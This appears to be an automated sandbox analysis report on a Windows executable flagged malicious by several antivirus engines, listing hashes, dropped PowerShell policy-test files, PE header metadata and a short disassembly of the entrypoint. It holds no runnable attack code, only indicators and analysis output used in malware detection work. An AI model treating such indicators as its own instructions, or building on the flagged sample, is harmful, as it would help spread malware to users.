SHA-512:	A8F5267AE7F465A65A46D6ABEAED0C7A910C349E708E4264CC68747EE26DB78D62B575DEDB2E64553C207B914BA240654930774954DFA7503C93393CFADCE9AD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16% Antivirus: Virustotal, Detection: 24%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................n...............n.....n....Rich..................PE..L...PS.f...............&............0.............@.......................................@.....................................................................X.......................................................p............................text............................... ..`.rdata..............................@..@.data...D...........................@....reloc..X...........................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04hyky0x.sdt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_35cykrtw.ugr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3trpxjro.fjf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ack5gunc.q5g.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bewpq4em.wqs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cktcgogd.dyy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cofnv0mu.fpm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cpivkyqt.ol3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f5yxi0fs.ri5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ff0l11tn.qhm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g50jaqsy.cy5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gcc41a0u.5at.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gongow4t.uye.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hmxt1erl.s3e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxinlifc.kli.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iajah50i.bs5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhn4zuv1.0ku.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k5c0ji3h.tgr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1vapiu5.etb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mouhhs2a.x0s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pwhhl2ro.sap.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qobjveor.l5z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qoippxwr.00p.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qxoqjw0q.fwm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t04i1tid.gju.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wrybuyil.hok.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wsejsxfz.hb5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmyubhxs.zil.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\new_example.txt

Download File

Process:	C:\Users\user\Desktop\1feP5qTCl0.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.366091329119193
Encrypted:	false
SSDEEP:	3:hMCE/N:hul
MD5:	F92A9EF0567DB794EFBE6CC7D98974CC
SHA1:	51728A8A25C4F2805984F294DADCE85E738B90D9
SHA-256:	26D96E97CEE88C873CFA14F364E79DAE57265CF8DA97ED1EA65A66A5EC6AD673
SHA-512:	14C3C14D4E4D93619C0982BB22BD73930531F510C281BE2E8B1EC6C92F1E1CDCE11AC90F13D8F1F6EE79AAA88711B54AD119A16EE51582A2C6ED4071A5C9684A
Malicious:	false
Preview:	This is a new file.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.958055025032026
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1feP5qTCl0.exe
File size:	8'077'824 bytes
MD5:	a499c507987982c951093e21df0c0d96
SHA1:	fa1a7050198570e016fc4bf3ddd69160e05a8a38
SHA256:	64aaffe3b4d705b9ddbce60e8fd8b9829c20438b8c68ae254e185c0f466e0265
SHA512:	0ab3d225fc8901d9cc1719ee61e0cdb444532f8a43b307382e7f3e5d610bcf1d54b5abef23649c370e5e960366270d99d94629e47868ae7959522a54d574a27d
SSDEEP:	98304:ha48jDV5s44tAbCEAVomRGM6oCRXpqALGFFV/lz8RY5ui2R:haV5s4ZPAunVRZXGxlz8cuF
TLSH:	AD868D47FC9545A9C1EEA330C9729252BA71BC495B3123D72B50F3382FB6BD1AA79700
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.........u......."......~&...................@...........................................`... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x46dca0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	c2d457ad8ac36fc9f18d45bffcd450c2

Entrypoint Preview

Instruction
jmp 00007F3A8CD554C0h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
dec eax
mov ebp, esp
pushfd
cld
dec eax
sub esp, 000000E0h
dec eax
mov dword ptr [esp], edi
dec eax
mov dword ptr [esp+08h], esi
dec eax
mov dword ptr [esp+10h], ebp
dec eax
mov dword ptr [esp+18h], ebx
dec esp
mov dword ptr [esp+20h], esp
dec esp
mov dword ptr [esp+28h], ebp
dec esp
mov dword ptr [esp+30h], esi
dec esp
mov dword ptr [esp+38h], edi
movups dqword ptr [esp+40h], xmm6
movups dqword ptr [esp+50h], xmm7
inc esp
movups dqword ptr [esp+60h], xmm0
inc esp
movups dqword ptr [esp+70h], xmm1
inc esp
movups dqword ptr [esp+00000080h], xmm2
inc esp
movups dqword ptr [esp+00000090h], xmm3
inc esp
movups dqword ptr [esp+000000A0h], xmm4
inc esp
movups dqword ptr [esp+000000B0h], xmm5
inc esp
movups dqword ptr [esp+000000C0h], xmm6
inc esp
movups dqword ptr [esp+000000D0h], xmm7
inc ebp
xorps xmm7, xmm7
dec ebp
xor esi, esi
dec eax
mov eax, dword ptr [00537492h]
dec eax
mov eax, dword ptr [eax]
dec eax
cmp eax, 00000000h
je 00007F3A8CD58DA5h
dec esp
mov esi, dword ptr [eax]
dec eax
sub esp, 10h
dec eax
mov eax, ecx
